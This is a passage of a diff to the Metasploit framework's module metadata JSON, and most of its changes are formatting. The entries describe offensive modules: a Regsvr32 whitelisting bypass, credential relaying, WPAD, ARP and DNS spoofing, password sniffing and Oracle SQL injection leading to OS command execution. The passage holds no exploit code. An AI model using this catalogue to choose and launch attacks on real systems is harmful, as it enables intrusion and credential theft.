-62487,9 +53884,7 @@ "auxiliary_server/regsvr32_command_delivery_server": { "name": "Regsvr32.exe (.sct) Command Delivery Server", "fullname": "auxiliary/server/regsvr32_command_delivery_server", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -62500,39 +53895,30 @@ ], "description": "This module uses the Regsvr32.exe Application Whitelisting Bypass technique as a way to run a command on\n a target system. The major advantage of this technique is that you can execute a static command on the target\n system and dynamically and remotely change the command that will actually run (by changing the value of CMD).\n This is useful when combined with persistence methods (e.g., a recurring scheduled task) or when flexibility\n is needed through the use of a single command (e.g., as Rubber Ducky payload).", "references": [ - "URL-http://subt0x10.blogspot.com/2016/04/bypass-application-whitelisting-script.html" + "URL-http://web.archive.org/web/20170419145048/http://subt0x10.blogspot.com:80/2016/04/bypass-application-whitelisting-script.html" ], "platform": "", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, - "mod_time": "2017-07-24 06:26:21 +0000", + "mod_time": "2025-02-28 09:35:28 +0000", "path": "/modules/auxiliary/server/regsvr32_command_delivery_server.rb", "is_install_path": true, "ref_name": "server/regsvr32_command_delivery_server", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_server/relay/esc8": { "name": "ESC8 Relay: SMB to HTTP(S)", "fullname": "auxiliary/server/relay/esc8", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -62542,9 +53928,7 @@ "Spencer McIntyre" ], "description": "This module creates an SMB server and then relays the credentials passed to it\n to an HTTP server to gain an authenticated connection. Once that connection is\n established, the module makes an authenticated request for a certificate based\n on a given template.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 80, @@ -62564,15 +53948,14 @@ "https" ], "targets": null, - "mod_time": "2025-02-04 15:41:33 +0000", + "mod_time": "2024-11-12 11:58:57 +0000", "path": "/modules/auxiliary/server/relay/esc8.rb", "is_install_path": true, "ref_name": "server/relay/esc8", - "check": false, + "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "actions": [ @@ -62585,9 +53968,7 @@ "auxiliary_server/socks_proxy": { "name": "SOCKS Proxy Server", "fullname": "auxiliary/server/socks_proxy", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -62597,18 +53978,12 @@ "surefire" ], "description": "This module provides a SOCKS proxy server that uses the builtin Metasploit routing to relay connections.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2022-03-22 09:23:09 +0000", "path": "/modules/auxiliary/server/socks_proxy.rb", @@ -62617,8 +53992,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "actions": [ @@ -62631,9 +54005,7 @@ "auxiliary_server/socks_unc": { "name": "SOCKS Proxy UNC Path Redirection", "fullname": "auxiliary/server/socks_unc", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -62641,18 +54013,12 @@ "hdm " ], "description": "This module provides a Socks proxy service\n that redirects all HTTP requests to a web page that\n loads a UNC path.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2020-05-12 22:15:21 +0000", "path": "/modules/auxiliary/server/socks_unc.rb", @@ -62661,8 +54027,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "actions": [ @@ -62675,9 +54040,7 @@ "auxiliary_server/teamviewer_uri_smb_redirect": { "name": "TeamViewer Unquoted URI Handler SMB Redirect", "fullname": "auxiliary/server/teamviewer_uri_smb_redirect", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -62694,12 +54057,8 @@ "platform": "", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2023-02-03 18:12:53 +0000", "path": "/modules/auxiliary/server/teamviewer_uri_smb_redirect.rb", @@ -62715,22 +54074,16 @@ "SideEffects": [ "ioc-in-logs" ], - "Reliability": [ - - ] + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_server/tftp": { "name": "TFTP File Server", "fullname": "auxiliary/server/tftp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -62739,18 +54092,12 @@ "todb " ], "description": "This module provides a TFTP service", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2021-01-28 10:35:25 +0000", "path": "/modules/auxiliary/server/tftp.rb", @@ -62759,8 +54106,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "actions": [ @@ -62773,9 +54119,7 @@ "auxiliary_server/webkit_xslt_dropper": { "name": "Cross Platform Webkit File Dropper", "fullname": "auxiliary/server/webkit_xslt_dropper", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -62789,12 +54133,8 @@ "platform": "", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2020-05-12 22:15:21 +0000", "path": "/modules/auxiliary/server/webkit_xslt_dropper.rb", @@ -62803,8 +54143,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "actions": [ @@ -62817,9 +54156,7 @@ "auxiliary_server/wget_symlink_file_write": { "name": "GNU Wget FTP Symlink Arbitrary Filesystem Access", "fullname": "auxiliary/server/wget_symlink_file_write", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2014-10-27", "type": "auxiliary", @@ -62835,12 +54172,8 @@ "platform": "", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2022-01-23 15:28:32 +0000", "path": "/modules/auxiliary/server/wget_symlink_file_write.rb", @@ -62849,8 +54182,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "actions": [ @@ -62863,9 +54195,7 @@ "auxiliary_server/wpad": { "name": "WPAD.dat File Server", "fullname": "auxiliary/server/wpad", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -62873,18 +54203,12 @@ "et " ], "description": "This module generates a valid wpad.dat file for WPAD mitm\n attacks. Usually this module is used in combination with DNS attacks\n or the 'NetBIOS Name Service Spoofer' module. Please remember as the\n server will be running by default on TCP port 80 you will need the\n required privileges to open that port.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/server/wpad.rb", @@ -62893,20 +54217,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_sniffer/psnuffle": { "name": "pSnuffle Packet Sniffer", "fullname": "auxiliary/sniffer/psnuffle", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -62914,18 +54233,12 @@ "Max Moser " ], "description": "This module sniffs passwords like dsniff did in the past", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2023-12-17 22:53:19 +0000", "path": "/modules/auxiliary/sniffer/psnuffle.rb", @@ -62934,8 +54247,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "actions": [ @@ -62952,9 +54264,7 @@ "auxiliary_spoof/arp/arp_poisoning": { "name": "ARP Spoof", "fullname": "auxiliary/spoof/arp/arp_poisoning", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "1999-12-22", "type": "auxiliary", @@ -62970,12 +54280,8 @@ "platform": "", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2024-01-07 15:02:53 +0000", "path": "/modules/auxiliary/spoof/arp/arp_poisoning.rb", @@ -62984,20 +54290,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_spoof/cisco/cdp": { "name": "Send Cisco Discovery Protocol (CDP) Packets", "fullname": "auxiliary/spoof/cisco/cdp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -63011,12 +54312,8 @@ "platform": "", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2022-01-23 15:28:32 +0000", "path": "/modules/auxiliary/spoof/cisco/cdp.rb", @@ -63025,8 +54322,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "actions": [ @@ -63039,9 +54335,7 @@ "auxiliary_spoof/cisco/dtp": { "name": "Forge Cisco DTP Packets", "fullname": "auxiliary/spoof/cisco/dtp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -63049,18 +54343,12 @@ "Spencer McIntyre" ], "description": "This module forges DTP packets to initialize a trunk port.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2020-05-12 22:15:21 +0000", "path": "/modules/auxiliary/spoof/cisco/dtp.rb", @@ -63069,8 +54357,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "actions": [ @@ -63083,9 +54370,7 @@ "auxiliary_spoof/dns/bailiwicked_domain": { "name": "DNS BailiWicked Domain Attack", "fullname": "auxiliary/spoof/dns/bailiwicked_domain", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2008-07-21", "type": "auxiliary", @@ -63099,39 +54384,30 @@ "CVE-2008-1447", "OSVDB-46776", "US-CERT-VU-800113", - "URL-http://www.caughq.org/exploits/CAU-EX-2008-0003.txt" + "URL-http://web.archive.org/web/20160527135835/http://www.caughq.org/exploits/CAU-EX-2008-0003.txt" ], "platform": "", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-02-28 09:35:28 +0000", "path": "/modules/auxiliary/spoof/dns/bailiwicked_domain.rb", "is_install_path": true, "ref_name": "spoof/dns/bailiwicked_domain", "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_spoof/dns/bailiwicked_host": { "name": "DNS BailiWicked Host Attack", "fullname": "auxiliary/spoof/dns/bailiwicked_host", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2008-07-21", "type": "auxiliary", @@ -63144,39 +54420,30 @@ "CVE-2008-1447", "OSVDB-46776", "US-CERT-VU-800113", - "URL-http://www.caughq.org/exploits/CAU-EX-2008-0002.txt" + "URL-http://web.archive.org/web/20160606120102/http://www.caughq.org:80/exploits/CAU-EX-2008-0002.txt" ], "platform": "", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-02-28 09:35:28 +0000", "path": "/modules/auxiliary/spoof/dns/bailiwicked_host.rb", "is_install_path": true, "ref_name": "spoof/dns/bailiwicked_host", "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_spoof/dns/compare_results": { "name": "DNS Lookup Result Comparison", "fullname": "auxiliary/spoof/dns/compare_results", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2008-07-21", "type": "auxiliary", @@ -63184,18 +54451,12 @@ "hdm " ], "description": "This module can be used to determine differences\n in the cache entries between two DNS servers. This is\n primarily useful for detecting cache poisoning attacks,\n but can also be used to detect geo-location load balancing.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2020-10-02 17:38:06 +0000", "path": "/modules/auxiliary/spoof/dns/compare_results.rb", @@ -63204,20 +54465,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_spoof/dns/native_spoofer": { "name": "Native DNS Spoofer (Example)", "fullname": "auxiliary/spoof/dns/native_spoofer", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -63225,9 +54481,7 @@ "RageLtMan " ], "description": "This module provides a Rex based DNS service to resolve queries intercepted\n via the capture mixin. Configure STATIC_ENTRIES to contain host-name mappings\n desired for spoofing using a hostsfile or space/semicolon separated entries.\n In the default configuration, the service operates as a normal native DNS server\n with the exception of consuming from and writing to the wire as opposed to a\n listening socket. Best when compromising routers or spoofing L2 in order to\n prevent return of the real reply which causes a race condition. The method\n by which replies are filtered is up to the user (though iptables works fine).", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 53, @@ -63246,15 +54500,9 @@ "post_auth": false, "default_credential": false, "notes": { - "Reliability": [ - - ], - "SideEffects": [ - - ], - "Stability": [ - - ] + "Reliability": [], + "SideEffects": [], + "Stability": [] }, "session_types": false, "needs_cleanup": false, @@ -63268,9 +54516,7 @@ "auxiliary_spoof/llmnr/llmnr_response": { "name": "LLMNR Spoofer", "fullname": "auxiliary/spoof/llmnr/llmnr_response", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -63284,12 +54530,8 @@ "platform": "", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2022-03-09 13:47:14 +0000", "path": "/modules/auxiliary/spoof/llmnr/llmnr_response.rb", @@ -63298,8 +54540,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "actions": [ @@ -63312,9 +54553,7 @@ "auxiliary_spoof/mdns/mdns_response": { "name": "mDNS Spoofer", "fullname": "auxiliary/spoof/mdns/mdns_response", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -63330,12 +54569,8 @@ "platform": "", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2022-03-09 13:47:14 +0000", "path": "/modules/auxiliary/spoof/mdns/mdns_response.rb", @@ -63344,8 +54579,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "actions": [ @@ -63358,9 +54592,7 @@ "auxiliary_spoof/nbns/nbns_response": { "name": "NetBIOS Name Service Spoofer", "fullname": "auxiliary/spoof/nbns/nbns_response", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -63374,12 +54606,8 @@ "platform": "", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2024-01-07 15:02:53 +0000", "path": "/modules/auxiliary/spoof/nbns/nbns_response.rb", @@ -63388,8 +54616,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "actions": [ @@ -63402,9 +54629,7 @@ "auxiliary_spoof/replay/pcap_replay": { "name": "Pcap Replay Utility", "fullname": "auxiliary/spoof/replay/pcap_replay", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -63412,18 +54637,12 @@ "amaloteaux " ], "description": "Replay a pcap capture file", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/spoof/replay/pcap_replay.rb", @@ -63432,20 +54651,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_sqli/dlink/dlink_central_wifimanager_sqli": { "name": "D-Link Central WiFiManager SQL injection", "fullname": "auxiliary/sqli/dlink/dlink_central_wifimanager_sqli", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2019-07-06", "type": "auxiliary", @@ -63492,9 +54706,7 @@ "config-changes", "ioc-in-logs" ], - "Reliability": [ - - ] + "Reliability": [] }, "session_types": false, "needs_cleanup": false, @@ -63516,9 +54728,7 @@ "auxiliary_sqli/openemr/openemr_sqli_dump": { "name": "OpenEMR 5.0.1 Patch 6 SQLi Dump", "fullname": "auxiliary/sqli/openemr/openemr_sqli_dump", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2019-05-17", "type": "auxiliary", @@ -63556,20 +54766,15 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_sqli/oracle/dbms_cdc_ipublish": { "name": "Oracle DB SQL Injection via SYS.DBMS_CDC_IPUBLISH.ALTER_HOTLOG_INTERNAL_CSOURCE", "fullname": "auxiliary/sqli/oracle/dbms_cdc_ipublish", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2008-10-22", "type": "auxiliary", @@ -63584,12 +54789,8 @@ "platform": "", "arch": "", "rport": 1521, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2020-10-02 17:38:06 +0000", "path": "/modules/auxiliary/sqli/oracle/dbms_cdc_ipublish.rb", @@ -63598,20 +54799,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_sqli/oracle/dbms_cdc_publish": { "name": "Oracle DB SQL Injection via SYS.DBMS_CDC_PUBLISH.ALTER_AUTOLOG_CHANGE_SOURCE", "fullname": "auxiliary/sqli/oracle/dbms_cdc_publish", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2008-10-22", "type": "auxiliary", @@ -63626,12 +54822,8 @@ "platform": "", "arch": "", "rport": 1521, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2020-10-02 17:38:06 +0000", "path": "/modules/auxiliary/sqli/oracle/dbms_cdc_publish.rb", @@ -63640,20 +54832,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_sqli/oracle/dbms_cdc_publish2": { "name": "Oracle DB SQL Injection via SYS.DBMS_CDC_PUBLISH.DROP_CHANGE_SOURCE", "fullname": "auxiliary/sqli/oracle/dbms_cdc_publish2", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2010-04-26", "type": "auxiliary", @@ -63669,12 +54856,8 @@ "platform": "", "arch": "", "rport": 1521, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2020-10-02 17:38:06 +0000", "path": "/modules/auxiliary/sqli/oracle/dbms_cdc_publish2.rb", @@ -63683,20 +54866,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_sqli/oracle/dbms_cdc_publish3": { "name": "Oracle DB SQL Injection via SYS.DBMS_CDC_PUBLISH.CREATE_CHANGE_SET", "fullname": "auxiliary/sqli/oracle/dbms_cdc_publish3", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2010-10-13", "type": "auxiliary", @@ -63712,12 +54890,8 @@ "platform": "", "arch": "", "rport": 1521, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2020-10-02 17:38:06 +0000", "path": "/modules/auxiliary/sqli/oracle/dbms_cdc_publish3.rb", @@ -63726,20 +54900,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_sqli/oracle/dbms_cdc_subscribe_activate_subscription": { "name": "Oracle DB SQL Injection via SYS.DBMS_CDC_SUBSCRIBE.ACTIVATE_SUBSCRIPTION", "fullname": "auxiliary/sqli/oracle/dbms_cdc_subscribe_activate_subscription", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2005-04-18", "type": "auxiliary", @@ -63758,12 +54927,8 @@ "platform": "", "arch": "", "rport": 1521, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2020-10-02 17:38:06 +0000", "path": "/modules/auxiliary/sqli/oracle/dbms_cdc_subscribe_activate_subscription.rb", @@ -63772,20 +54937,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_sqli/oracle/dbms_export_extension": { "name": "Oracle DB SQL Injection via DBMS_EXPORT_EXTENSION", "fullname": "auxiliary/sqli/oracle/dbms_export_extension", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2006-04-26", "type": "auxiliary", @@ -63802,12 +54962,8 @@ "platform": "", "arch": "", "rport": 1521, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2020-10-02 17:38:06 +0000", "path": "/modules/auxiliary/sqli/oracle/dbms_export_extension.rb", @@ -63816,20 +54972,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_sqli/oracle/dbms_metadata_get_granted_xml": { "name": "Oracle DB SQL Injection via SYS.DBMS_METADATA.GET_GRANTED_XML", "fullname": "auxiliary/sqli/oracle/dbms_metadata_get_granted_xml", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2008-01-05", "type": "auxiliary", @@ -63843,12 +54994,8 @@ "platform": "", "arch": "", "rport": 1521, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2020-10-02 17:38:06 +0000", "path": "/modules/auxiliary/sqli/oracle/dbms_metadata_get_granted_xml.rb", @@ -63857,20 +55004,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_sqli/oracle/dbms_metadata_get_xml": { "name": "Oracle DB SQL Injection via SYS.DBMS_METADATA.GET_XML", "fullname": "auxiliary/sqli/oracle/dbms_metadata_get_xml", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2008-01-05", "type": "auxiliary", @@ -63884,12 +55026,8 @@ "platform": "", "arch": "", "rport": 1521, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2020-10-02 17:38:06 +0000", "path": "/modules/auxiliary/sqli/oracle/dbms_metadata_get_xml.rb", @@ -63898,20 +55036,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_sqli/oracle/dbms_metadata_open": { "name": "Oracle DB SQL Injection via SYS.DBMS_METADATA.OPEN", "fullname": "auxiliary/sqli/oracle/dbms_metadata_open", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2008-01-05", "type": "auxiliary", @@ -63925,12 +55058,8 @@ "platform": "", "arch": "", "rport": 1521, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2020-10-02 17:38:06 +0000", "path": "/modules/auxiliary/sqli/oracle/dbms_metadata_open.rb", @@ -63939,20 +55068,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_sqli/oracle/droptable_trigger": { "name": "Oracle DB SQL Injection in MDSYS.SDO_TOPO_DROP_FTBL Trigger", "fullname": "auxiliary/sqli/oracle/droptable_trigger", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2009-01-13", "type": "auxiliary", @@ -63969,12 +55093,8 @@ "platform": "", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2020-10-02 17:38:06 +0000", "path": "/modules/auxiliary/sqli/oracle/droptable_trigger.rb", @@ -63983,20 +55103,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_sqli/oracle/jvm_os_code_10g": { "name": "Oracle DB 10gR2, 11gR1/R2 DBMS_JVM_EXP_PERMS OS Command Execution", "fullname": "auxiliary/sqli/oracle/jvm_os_code_10g", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2010-02-01", "type": "auxiliary", @@ -64013,12 +55128,8 @@ "platform": "", "arch": "", "rport": 1521, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2020-10-02 17:38:06 +0000", "path": "/modules/auxiliary/sqli/oracle/jvm_os_code_10g.rb", @@ -64027,20 +55138,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_sqli/oracle/jvm_os_code_11g": { "name": "Oracle DB 11g R1/R2 DBMS_JVM_EXP_PERMS OS Code Execution", "fullname": "auxiliary/sqli/oracle/jvm_os_code_11g", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2010-02-01", "type": "auxiliary", @@ -64057,12 +55163,8 @@ "platform": "", "arch": "", "rport": 1521, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2020-10-02 17:38:06 +0000", "path": "/modules/auxiliary/sqli/oracle/jvm_os_code_11g.rb", @@ -64071,20 +55173,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_sqli/oracle/lt_compressworkspace": { "name": "Oracle DB SQL Injection via SYS.LT.COMPRESSWORKSPACE", "fullname": "auxiliary/sqli/oracle/lt_compressworkspace", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2008-10-13", "type": "auxiliary", @@ -64100,12 +55197,8 @@ "platform": "", "arch": "", "rport": 1521, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2020-10-02 17:38:06 +0000", "path": "/modules/auxiliary/sqli/oracle/lt_compressworkspace.rb", @@ -64114,20 +55207,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_sqli/oracle/lt_findricset_cursor": { "name": "Oracle DB SQL Injection via SYS.LT.FINDRICSET Evil Cursor Method", "fullname": "auxiliary/sqli/oracle/lt_findricset_cursor", - "aliases": [ - - ], + "aliases": 